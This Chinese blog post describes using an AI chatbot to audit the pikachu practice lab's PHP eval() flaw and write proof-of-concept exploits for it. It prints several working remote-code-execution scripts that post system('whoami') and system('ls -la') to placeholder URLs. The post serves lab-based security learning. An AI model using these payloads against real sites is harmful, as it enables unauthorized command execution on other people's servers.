AI代码审计和POC编写
AI代码审计和POC编写
原创 道玄安全 道玄网安驿站 2024-11-16 15:25
“
AI做代码审计和POC编写真好使”
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01
—
AI代码审计初体验
在看了很多AI模型对代码审计的能力后，小编也想来体验一下AI做代码审计和POC编写的尝试，所以有了一下小实验：
1.实验目标：通过AI写出一段python编写的POC
2.实验工具：百度文心一言
3.实验靶机：pikachu
02
—
实验过程
小编选择了pikachu的RCE漏洞，漏洞代码如下：
路径：C:\phpstudy_pro\WWW\pikachu\vul\rce\rce_eval.php
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
将代码输入文心一言并附上要求：
下面是AI给出的html版的代码：
<!DOCTYPE html>
<html>
<head>
<title>POC: Exploit for eval() vulnerability</title>
</head>
<body>
<h1>POC: Exploit for eval() vulnerability</h1>
<form action="http://your-vulnerable-site.com/vulnerable-page.php" method="POST">
<label for="txt">Enter PHP code to execute:</label>
<textarea name="txt" id="txt" rows="10" cols="50"><?php echo phpinfo(); ?></textarea><br><br>
<input type="hidden" name="submit" value="1">
<input type="submit" value="Submit">
</form>
</body>
</html>
小编想要的是python版本的，就继续要求它：
代码如下：
import requests
# 目标网站的 URL
url = "http://your-vulnerable-site.com/vulnerable-page.php"
# 要执行的 PHP 代码（作为字符串发送）
malicious_code = "<?php echo 'Vulnerable!'; system('whoami'); ?>"
# 构建 POST 数据
post_data = {
'txt': malicious_code,
'submit': '1' # 假设后端检查这个字段来确定是否处理请求
}
# 发送 POST 请求
response = requests.post(url, data=post_data)
# 输出响应内容
print(response.text)
将代码中的URL地址修改一下，试一试，发现不太行，直接用它的payload放进漏洞的输入框发现是失败的：
我们继续要求：
这回它给出的poc是：
import requests
# 目标URL（替换为你的目标URL）
target_url = "http://example.com/vulnerable_script.php"
# 构造POST数据
# 尝试执行一个简单的echo语句
post_data = {
'submit': '1', # 确保submit字段存在
'txt': 'echo "Hello from eval!";' # 尝试输出字符串
}
# 发送POST请求
response = requests.post(target_url, data=post_data)
# 打印响应内容
print(response.text)
直接把payload放到输入框，
可以正常执行了！
继续给它要求：
就照着'txt': 'echo "Hello from eval!";' 的格式，写一个system函数的poc
POC如下：
import requests
# 目标URL（替换为你的目标URL）
target_url = "http://example.com/vulnerable_script.php"
# 注意：在Windows系统上，应使用'dir'而不是'ls'
# 构造POST数据，尝试执行system函数列出当前目录内容
# 对于Unix/Linux系统
post_data_unix = {
'submit': '1', # 确保submit字段存在
'txt': 'system("ls -la");' # 尝试执行ls命令列出目录内容
}
# 对于Windows系统
# post_data_windows = {
# 'submit': '1',
# 'txt': 'system("dir");' # 尝试执行dir命令列出目录内容
# }
# 选择适当的POST数据（根据你的目标系统）
post_data = post_data_unix # 或者 post_data_windows
# 发送POST请求
response = requests.post(target_url, data=post_data)
# 打印响应内容
print(response.text)
由于我的是windows部署的靶机，所以出现了下面的结果：
到现在我已经成功的让AI根据一段代码写出了poc！，不得不说AI做代码审计是天然的优势！
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